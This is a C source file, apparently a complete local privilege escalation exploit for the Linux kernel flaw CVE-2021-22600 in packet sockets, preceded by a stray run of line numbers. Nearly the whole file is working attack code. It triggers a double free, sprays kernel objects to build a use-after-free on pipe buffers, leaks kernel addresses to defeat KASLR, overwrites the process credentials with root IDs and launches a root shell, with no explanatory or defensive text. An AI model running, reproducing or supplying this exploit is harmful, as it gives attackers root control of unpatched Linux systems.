1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805
|
#define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <stddef.h> #include <stdint.h> #include <sched.h> #include <sys/socket.h> #include <sys/msg.h> #include <sys/ipc.h> #include <sys/mman.h> #include <sys/resource.h> #include <sys/prctl.h>
#ifndef IS_ERR #define IS_ERR(ptr) ((uintptr_t) ptr >= (uintptr_t) -4095UL) #endif
#ifndef PTR_ERR #define PTR_ERR(ptr) ((int) (intptr_t) ptr) #endif
#define SUCCESS_MSG(msg) "\033[32m\033[1m" msg "\033[0m" #define INFO_MSG(msg) "\033[34m\033[1m" msg "\033[0m" #define ERR_MSG(msg) "\033[31m\033[1m" msg "\033[0m"
#define log_success(msg) puts(SUCCESS_MSG(msg)) #define log_info(msg) puts(INFO_MSG(msg)) #define log_error(msg) puts(ERR_MSG(msg))
#define KASLR_GRANULARITY 0x10000000 #define KASLR_MASK (~(KASLR_GRANULARITY - 1)) size_t kernel_base = 0xffffffff81000000, kernel_offset = 0; size_t page_offset_base = 0xffff888000000000, vmemmap_base = 0xffffea0000000000; size_t init_task, init_nsproxy, init_cred;
void err_exit(char *msg) { printf(ERR_MSG("[x] Error at: ") "%s\n", msg); sleep(5); exit(EXIT_FAILURE); }
void get_root_shell(void) { if(getuid()) { log_error("[x] Failed to get the root!"); sleep(5); exit(EXIT_FAILURE); }
log_success("[+] Successful to get the root."); log_info("[*] Execve root shell now...");
system("su root -c sh"); exit(EXIT_SUCCESS); }
void bind_core(int core) { cpu_set_t cpu_set;
CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf(INFO_MSG("[*] Process binded to core: ") "%d\n", core); }
void unshare_setup(void) { char edit[0x100]; int tmp_fd;
unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);
tmp_fd = open("/proc/self/setgroups", O_WRONLY); write(tmp_fd, "deny", strlen("deny")); close(tmp_fd);
tmp_fd = open("/proc/self/uid_map", O_WRONLY); snprintf(edit, sizeof(edit), "0 %d 1", getuid()); write(tmp_fd, edit, strlen(edit)); close(tmp_fd);
tmp_fd = open("/proc/self/gid_map", O_WRONLY); snprintf(edit, sizeof(edit), "0 %d 1", getgid()); write(tmp_fd, edit, strlen(edit)); close(tmp_fd); }
struct page; struct pipe_inode_info; struct pipe_buf_operations;
struct pipe_buffer { struct page *page; unsigned int offset, len; const struct pipe_buf_operations *ops; unsigned int flags; unsigned long private; };
struct cred { long usage; uint32_t uid; uint32_t gid; uint32_t suid; uint32_t sgid; uint32_t euid; uint32_t egid; uint32_t fsuid; uint32_t fsgid; };
int get_msg_queue(void) { return msgget(IPC_PRIVATE, 0666 | IPC_CREAT); }
int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) { return msgrcv(msqid, msgp, msgsz, msgtyp, 0); }
int write_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) { ((struct msgbuf*)msgp)->mtype = msgtyp; return msgsnd(msqid, msgp, msgsz, 0); }
int peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) { return msgrcv(msqid, msgp, msgsz, msgtyp, MSG_COPY | IPC_NOWAIT | MSG_NOERROR); }
#define SOCKET_NUM 32 #define SK_BUFF_NUM 64
int init_socket_array(int sk_socket[SOCKET_NUM][2]) { for (int i = 0; i < SOCKET_NUM; i++) { if (socketpair(AF_UNIX, SOCK_STREAM, 0, sk_socket[i]) < 0) { printf("[x] failed to create no.%d socket pair!\n", i); return -1; } }
return 0; }
int spray_sk_buff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size) { for (int i = 0; i < SOCKET_NUM; i++) { for (int j = 0; j < SK_BUFF_NUM; j++) { if (write(sk_socket[i][0], buf, size) < 0) { printf("[x] failed to spray %d sk_buff for %d socket!", j, i); return -1; } } }
return 0; }
int free_sk_buff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size) { for (int i = 0; i < SOCKET_NUM; i++) { for (int j = 0; j < SK_BUFF_NUM; j++) { if (read(sk_socket[i][1], buf, size) < 0) { puts("[x] failed to received sk_buff!"); return -1; } } }
return 0; }
void print_banner(void) { puts(SUCCESS_MSG("--------- CVE-2021-22600 Exploitation ---------")); puts(INFO_MSG("-------\t\t Author: ") "arttnba3" INFO_MSG(" \t-------")); puts(SUCCESS_MSG("-------- Local Privilege Escalation ---------\n")); }
struct tpacket_req { unsigned int tp_block_size; unsigned int tp_block_nr; unsigned int tp_frame_size; unsigned int tp_frame_nr; unsigned int tp_retire_blk_tov; unsigned int tp_sizeof_priv; unsigned int tp_feature_req_word; };
enum tpacket_versions { TPACKET_V1, TPACKET_V2, TPACKET_V3, };
#define PACKET_RX_RING 5 #define PACKET_VERSION 10 #define PACKET_TX_RING 13
#define VICTIM_OBJ_SZ 1024
#define SKBUFF_DATA_SZ (VICTIM_OBJ_SZ - 330)
#define TP_BLK_SZ 0x1000 #define TP_BLK_NR (VICTIM_OBJ_SZ / sizeof(char*)) #define TP_FRAME_SZ TP_BLK_SZ #define TP_FRAME_NR (TP_BLK_SZ * TP_BLK_NR / TP_FRAME_SZ)
struct exp_cmd { size_t cmd; };
enum { CMD_ALLOC_SOCKET = 0, CMD_SET_VERSION_V2, CMD_SET_VERSION_V3, CMD_ALLOC_TX_RING, CMD_FREE_TX_RING, CMD_ALLOC_RX_RING, CMD_FREE_RX_RING, };
int p2c_pipe[2], c2p_pipe[2];
void exploitation_child(void) { struct exp_cmd cmd; struct tpacket_req req; int socket_fd, version; int ret = 0;
unshare_setup();
for (;;) { read(p2c_pipe[0], &cmd, sizeof(cmd));
switch (cmd.cmd) { case CMD_ALLOC_SOCKET: log_info("[*] Creating packet socket...");
socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET); if (socket_fd < 0) { log_error("[x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)"); err_exit("FAILED to create socket"); }
break; case CMD_SET_VERSION_V2: log_info("[*] Set socket version to TPACKET_V2...");
version = TPACKET_V2; ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version)); if (ret < 0) { log_error("[x] failed at setsockopt(PACKET_VERSION)"); err_exit("FAILED to use setsockopt to set TPACKET_V2"); }
break; case CMD_SET_VERSION_V3: log_info("[*] Set socket version to TPACKET_V3...");
version = TPACKET_V3; ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version)); if (ret < 0) { log_error("[x] failed at setsockopt(PACKET_VERSION)"); err_exit("FAILED to use setsockopt to set TPACKET_V3"); }
break; case CMD_ALLOC_TX_RING: log_info("[*] Allocating TX ring buffer...");
memset(&req, 0, sizeof(req)); req.tp_block_size = TP_BLK_SZ; req.tp_block_nr = TP_BLK_NR; req.tp_frame_size = TP_FRAME_SZ; req.tp_frame_nr = TP_FRAME_NR; ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req)); if (ret < 0) { perror("[x] failed at setsockopt(PACKET_TX_RING)"); err_exit("FAILED to allocate TX ring buffer"); }
break; case CMD_FREE_TX_RING: log_info("[*] Freeing TX ring buffer...");
req.tp_block_size = 0x3361626e; req.tp_block_nr = 0; req.tp_frame_size = 0x74747261; req.tp_frame_nr = 0; ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req)); if (ret < 0) { perror("[x] failed at setsockopt(PACKET_TX_RING)"); err_exit("FAILED to free TX ring buffer"); }
break; case CMD_ALLOC_RX_RING: log_info("[*] Allocating RX ring buffer...");
memset(&req, 0, sizeof(req)); req.tp_block_size = TP_BLK_SZ; req.tp_block_nr = TP_BLK_NR; req.tp_frame_size = TP_FRAME_SZ; req.tp_frame_nr = TP_FRAME_NR; ret = setsockopt(socket_fd, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)); if (ret < 0) { perror("[x] failed at setsockopt(PACKET_RX_RING)"); err_exit("FAILED to allocate RX ring buffer"); }
break; case CMD_FREE_RX_RING: log_info("[*] Freeing RX ring buffer...");
req.tp_block_size = 0x3361626e; req.tp_block_nr = 0; req.tp_frame_size = 0x74747261; req.tp_frame_nr = 0; ret = setsockopt(socket_fd, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)); if (ret < 0) { perror("[x] failed at setsockopt(PACKET_RX_RING)"); err_exit("FAILED to free RX ring buffer"); }
break; default: log_error("[x] Unknown command received from parent!"); break; }
write(c2p_pipe[1], &ret, sizeof(ret)); } }
int send_cmd_to_child(size_t cmd_nr) { struct exp_cmd cmd = { .cmd = cmd_nr, }; int ret;
write(p2c_pipe[1], &cmd, sizeof(cmd)); read(c2p_pipe[0], &ret, sizeof(ret));
return ret; }
#define MSG_HDR_SZ 0x30 #define MSG_SPRAY_SZ (VICTIM_OBJ_SZ - MSG_HDR_SZ) #define MSG_SPRAY_NR 2 #define MSG_QUEUE_NR 0x800 #define MSG_TAG_BASE 0x200 #define MSG_EVIL_SZ (0x1000 - MSG_HDR_SZ + VICTIM_OBJ_SZ - 8)
#define ATK_QUEUE_IDX 0
#define PIPE_SPRAY_NR 0x3F0 #define PIPE_FCNTL_SZ (VICTIM_OBJ_SZ / 64 * 0x1000) #define PIPE_RECLAIM_SZ (512 - MSG_HDR_SZ)
int msg_queue[MSG_QUEUE_NR], garbage_msgs[MSG_QUEUE_NR] = { 0 }; int sk_sockets1[SOCKET_NUM][2], sk_sockets2[SOCKET_NUM][2]; int pipe_fd[PIPE_SPRAY_NR][2], uaf_pipe[2], orig_idx = -1, victim_idx = -1; struct pipe_buffer *leak_pipe_buf, *fake_pipe_buf; struct pipe_buf_operations *pipe_ops; size_t msg_buf[0x2000];
void arbitrary_read_by_pipe(size_t page_addr, void *buf) { if (read_msg(msg_queue[ATK_QUEUE_IDX], msg_buf, MSG_EVIL_SZ, 0x400) < 0){ err_exit("FAILED to read msg_msg and msg_msgseg!"); }
fake_pipe_buf = (struct pipe_buffer*) &msg_buf[511]; fake_pipe_buf->page = (struct page*) page_addr; fake_pipe_buf->len = 0x1ff8; fake_pipe_buf->offset = 0; fake_pipe_buf->ops = pipe_ops;
if (write_msg(msg_queue[ATK_QUEUE_IDX], msg_buf, MSG_EVIL_SZ, 0x400) < 0) { err_exit("FAILED to allocate msg_msg to overwrite pipe_buffer!"); }
if (read(uaf_pipe[0], buf, 0xff0) < 0) { perror("[x] Unable to read from pipe"); err_exit("FAILED to read from evil pipe!"); } }
void arbitrary_write_by_pipe(size_t page_addr, void *buf, size_t len) { fake_pipe_buf = (struct pipe_buffer*) &msg_buf[516];
if (read_msg(msg_queue[ATK_QUEUE_IDX], msg_buf, MSG_EVIL_SZ, 0x400) < 0){ err_exit("FAILED to read msg_msg and msg_msgseg!"); }
fake_pipe_buf->page = (struct page*) page_addr; fake_pipe_buf->len = 0; fake_pipe_buf->offset = 0; fake_pipe_buf->ops = pipe_ops;
if (write_msg(msg_queue[ATK_QUEUE_IDX], msg_buf, MSG_EVIL_SZ, 0x400) < 0) { err_exit("FAILED to allocate msg_msg to overwrite pipe_buffer!"); }
len = len > 0xffe ? 0xffe : len;
if(write(uaf_pipe[1], buf, len) < 0) { perror("[x] Unable to write into pipe"); err_exit("FAILED to write into evil pipe!"); } }
void exploitation(void) { size_t buf[0x2000], kernel_leak, current_pcb_page, *comm_addr; char *noise_pages; struct rlimit rl; int found = 0; int ret; uint32_t uid, gid; uint64_t cred_kaddr, cred_kpage_addr; struct cred *cred_data; char cred_data_buf[0x1000];
memset(buf, 0, sizeof(buf));
print_banner();
bind_core(0);
rl.rlim_cur = 4096; rl.rlim_max = 4096; if (setrlimit(RLIMIT_NOFILE, &rl) == -1) { perror("[x] setrlimit"); err_exit("FAILED to expand file descriptor's limit!"); }
log_info("[*] Creating child process to user packet socket...");
if (pipe(p2c_pipe) < 0 || pipe(c2p_pipe) < 0) { perror("[x] Unable to create pipe"); err_exit("FAILED to create pipe for communication!"); }
ret = fork(); if (!ret) { exploitation_child(); exit(EXIT_SUCCESS); } else if (ret < 0) { perror("[x] Unable to fork out child process"); err_exit("FAILED to create child process for exploit!"); }
send_cmd_to_child(CMD_ALLOC_SOCKET);
log_info("[*] Preparing msg_queue...");
for (int i = 0; i < MSG_QUEUE_NR; i++) { msg_queue[i] = get_msg_queue(); if (msg_queue[i] < 0) { printf("[x] Unable to get %d msg_queue\n", i); err_exit("FAILED to create msg_queue!"); } }
log_info("[*] Preparing mmap area for clearing noisy pages later..."); noise_pages = mmap(NULL, TP_BLK_NR * 0x1000 * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0); if (noise_pages == MAP_FAILED) { perror("[x] Unable to create mmap region"); err_exit("FAILED to do the mmap!"); }
log_info("[*] Preparing pipe...");
for (int i = 0; i < PIPE_SPRAY_NR; i++) { if (pipe(pipe_fd[i]) < 0) { printf("[x] Unable to create %d pipe\n", i); err_exit("FAILED to prepare pipe!"); }
for (int j = 0; j < 0x100; j++) { write(pipe_fd[i][1], &i, sizeof(i)); }
if (fcntl(pipe_fd[i][0], F_SETPIPE_SZ, 0x1000 * 8) < 0) { perror("[x] Failed to do fcntl on pipe"); printf("[x] Unable to shrink %d pipe_buffer\n", i); err_exit("FAILED to spray pipe_buffer!"); } }
log_info("[*] Preparing sk_buff and do the half-spraying...");
if (init_socket_array(sk_sockets1)) { err_exit("FAILED to initialize socket group 1!"); }
if (init_socket_array(sk_sockets2)) { err_exit("FAILED to initialize socket group 2!"); }
if (spray_sk_buff(sk_sockets1, buf, SKBUFF_DATA_SZ)) { err_exit("FAILED spray group-1 sk_buff!"); }
send_cmd_to_child(CMD_SET_VERSION_V3);
send_cmd_to_child(CMD_ALLOC_RX_RING);
send_cmd_to_child(CMD_FREE_RX_RING);
log_info("[*] Clearing noisy pages allocated in pgv...");
for (size_t i = 0; i < TP_BLK_NR * 2; i++) { *(size_t*) &(noise_pages[i * 0x1000]) = *(size_t*) "arttnba3"; }
log_info("[*] Spraying another half of sk_buff to get pgv...");
if (spray_sk_buff(sk_sockets2, buf, SKBUFF_DATA_SZ)) { err_exit("FAILED spray group-2 sk_buff!"); } log_info("[*] Free all sk_buff to fill partial lists and back to buddy...");
if (free_sk_buff(sk_sockets1, buf, SKBUFF_DATA_SZ)) { err_exit("FAILED free group-1 sk_buff!"); }
if (free_sk_buff(sk_sockets2, buf, SKBUFF_DATA_SZ)) { err_exit("FAILED free group-2 sk_buff!"); }
log_info("[*] Spraying half of pipe_buffer...");
for (int i = 0; i < (PIPE_SPRAY_NR / 2); i++) { if (fcntl(pipe_fd[i][0], F_SETPIPE_SZ, PIPE_FCNTL_SZ) < 0) { perror("[x] Failed to do fcntl on pipe"); printf("[x] Unable to expand %d pipe_buffer\n", i); err_exit("FAILED to spray pipe_buffer!"); }
if (write_msg(msg_queue[i % MSG_QUEUE_NR], buf, PIPE_RECLAIM_SZ, 0x3361626e74747261) < 0) { err_exit("FAILED to reclaim pipe_buffer back!"); }
garbage_msgs[i % MSG_QUEUE_NR]++; }
log_info("[*] Triggerring double free and spraying half of pipe_buffer...");
send_cmd_to_child(CMD_SET_VERSION_V2); send_cmd_to_child(CMD_FREE_RX_RING);
for (int i = (PIPE_SPRAY_NR / 2); i < PIPE_SPRAY_NR; i++) { if (fcntl(pipe_fd[i][0], F_SETPIPE_SZ, PIPE_FCNTL_SZ) < 0) { perror("[x] Failed to do fcntl on pipe"); printf("[x] Unable to expand %d pipe_buffer\n", i); err_exit("FAILED to spray pipe_buffer!"); }
if (write_msg( msg_queue[i % MSG_QUEUE_NR], buf, PIPE_RECLAIM_SZ, 0x3361626e74747261 ) < 0) { err_exit("FAILED to reclaim pipe_buffer back!"); }
garbage_msgs[i % MSG_QUEUE_NR]++;
for (int j = 0; j < i; j++) { int nr;
read(pipe_fd[j][0], &nr, sizeof(nr)); if (nr != j && nr == i) { orig_idx = nr; victim_idx = j; goto out_pipe; } write(pipe_fd[j][1], &nr, sizeof(nr)); } }
out_pipe: if (orig_idx < 0 || victim_idx < 0) { err_exit("FAILED to construct UAF on pipe!"); }
log_success("[+] Successfully made UAF on pipe_buffer!"); printf("[+] Original: %d, victim: %d\n", orig_idx, victim_idx);
close(pipe_fd[orig_idx][1]); close(pipe_fd[orig_idx][0]);
log_info("[*] Crafting pipe_buffer overlapped with msg_msgseg...");
if (pipe(uaf_pipe) < 0) { err_exit("FAILED to allocate new pipe for UAF!"); }
write(uaf_pipe[1], "arttnba3", 8); read(uaf_pipe[0], buf, 8); write(uaf_pipe[1], "arttnba3", 8);
close(pipe_fd[victim_idx][1]); close(pipe_fd[victim_idx][0]);
memset(buf, 0, sizeof(buf)); if (write_msg(msg_queue[ATK_QUEUE_IDX], buf, MSG_EVIL_SZ, 0x400) < 0) { err_exit("FAILED to create msg_msg with msg_msgseg!"); }
write(uaf_pipe[1], "arttnba3", 8);
if (read_msg(msg_queue[ATK_QUEUE_IDX], buf, MSG_EVIL_SZ, 0x400) < 0){ err_exit("FAILED to read msg_msg and msg_msgseg!"); }
leak_pipe_buf = (void*) &buf[516];
printf( SUCCESS_MSG("[+] Leak pipe_buffer::page ") "%p" SUCCESS_MSG(", pipe_buffer::ops ") "%p\n", leak_pipe_buf->page, leak_pipe_buf->ops );
pipe_ops = (void*) leak_pipe_buf->ops;
vmemmap_base = (size_t) leak_pipe_buf->page & KASLR_MASK; log_info("[*] Try to guess vmemmap_base..."); printf("[*] Starts from %lx...\n", vmemmap_base);
if (write_msg(msg_queue[ATK_QUEUE_IDX], buf, MSG_EVIL_SZ, 0x400) < 0) { err_exit("FAILED to create msg_msg with msg_msgseg!"); }
arbitrary_read_by_pipe(vmemmap_base + 0x9d000 / 0x1000 * 0x40, buf);
kernel_leak = buf[0];
for (int loop_nr = 0; 1; loop_nr++) { if (kernel_leak > 0xffffffff81000000 && (kernel_leak & 0xfff) < 0x100) { kernel_base = kernel_leak & 0xfffffffffffff000; if (loop_nr != 0) { puts(""); } printf( INFO_MSG("[*] Leak secondary_startup_64 : ") "%lx\n",kernel_leak ); printf(SUCCESS_MSG("[+] Got kernel base: ") "%lx\n", kernel_base); printf(SUCCESS_MSG("[+] Got vmemmap_base: ") "%lx\n", vmemmap_base); break; }
for (int i = 0; i < 80; i++) { putchar('\b'); } printf( "[No.%d loop] Got unmatched data: %lx, keep looping...", loop_nr, kernel_leak );
vmemmap_base -= KASLR_GRANULARITY; arbitrary_read_by_pipe( vmemmap_base + 0x9d000 / 0x1000 * 0x40, buf ); }
log_info("[*] Seeking task_struct in kernel space...");
prctl(PR_SET_NAME, "arttnba3pwnn"); uid = getuid(); gid = getgid();
for (int i = 0; 1; i++) { arbitrary_read_by_pipe(vmemmap_base + i * 0x40, buf); comm_addr = memmem(buf, 0xff0, "arttnba3pwnn", 12); if (comm_addr && (comm_addr[-2] > 0xffff888000000000) && (comm_addr[-3] > 0xffff888000000000) && (comm_addr[-2] == comm_addr[-3])) {
printf( SUCCESS_MSG("[+] Found task_struct on page: ") "%lx\n", (vmemmap_base + i * 0x40) ); printf(SUCCESS_MSG("[+] Got cred address: ") "%lx\n",comm_addr[-2]);
cred_kaddr = comm_addr[-2]; cred_data = (void*) (cred_data_buf + (cred_kaddr & (0x1000 - 1))); page_offset_base = cred_kaddr & KASLR_MASK;
while (1) { cred_kpage_addr = vmemmap_base + \ (cred_kaddr - page_offset_base) / 0x1000 * 0x40; arbitrary_read_by_pipe( cred_kpage_addr, cred_data_buf ); if (cred_data->uid == uid && cred_data->gid == gid) { printf( SUCCESS_MSG("[+] Got page_offset_base: ") "%lx\n", page_offset_base ); printf( SUCCESS_MSG("[+] Found cred on page: ") "%lx\n", cred_kpage_addr ); break; }
page_offset_base -= KASLR_GRANULARITY; puts("[?] Looping!?"); }
break; } }
puts("[*] Overwriting cred and granting root privilege...");
cred_data->uid = 0; cred_data->gid = 0;
arbitrary_write_by_pipe( cred_kpage_addr, cred_data_buf, 0xff0 );
setresuid(0, 0, 0); setresgid(0, 0, 0);
get_root_shell(); }
int main(int argc, char **argv, char **envp) { exploitation(); return 0; }
|